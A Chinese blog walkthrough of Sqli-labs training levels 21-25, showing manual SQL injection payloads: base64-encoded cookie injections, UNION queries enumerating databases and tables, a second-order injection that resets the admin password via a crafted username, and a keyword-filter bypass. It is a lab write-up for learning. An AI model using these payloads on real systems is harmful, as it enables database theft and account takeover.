文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox

VulnHub

代码审计

PHP代码审计

流量分析

机器学习

基础学习

Python

Python编程

Java

Java编程

算法

Leetcode

随笔

经验

技术

 2019-10-25   568

Web安全学习之Sqli-labs手工注入——Advanced-Injections

Sqli-labs手工注入第二阶段,主要都是一些绕过的技巧(包括WAF)。

登录成功后的页面:

很明显cookie字段是被加密处理了(而且后面的=暴露了应该是base64编码方式)。

插播一个关于讲解base64编码方式的博文,点击跳转

查看php文件确实如此,所以只需要上传paylaod的时候base64加密一下就可以了。

%3d应该是=号urldecode的结果

接下来构造payload进行测试:

1
2
admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r //密文

根据SQL错误信息的提示,应该是少了一个)

1
2
admin') and 1=1#   //明文
YWRtaW4nKSBhbmQgMT0xIw== //密文

示例爆库paylaod:

1
2
-admin') union select 1,2,database()#
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

和less-21一样的,只需要使用双引号代替单引号再取掉括号即可。

样例payload

1
2
-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

Less-23 GET-Error bases-strip comments

多次输入发现这道题不能用注释符来注掉后面Limit语句,只能转而用单引号闭合的方式。

尝试:

1
?id=1 and '

发现SQL语句不报错,那么久可以使用联合查询:

1
?id=-1' union select 1,database(),3 and '

爆表payload:

1
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' or '1'='

Less-24 POST-Second Oder Injections *Real Treate* Stored Injections

首先注册一个新用户,用户名必须是admin'#

然后登录admin'#账号,并修改该账号的密码,但此时修改的就是admin的密码

这是因为:SQL语句变为

1
UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

也就是执行了

1
2
UPDATE users SET passwd="New_Pass" WHERE username =' admin'

再可以去后台的数据库查看users表的记录:

发现账号admin的密码被更改了!!!

二次注入成功。

Less-25 Get-Error based-All you OR & AND belong to us - string single quote

根据页面的提示,很明显程序把我们输入的andor关键字过滤掉了。

解决方法就是双写andor关键字,例如:

Copyright © ca01h 2019-2020 | 本站总访问量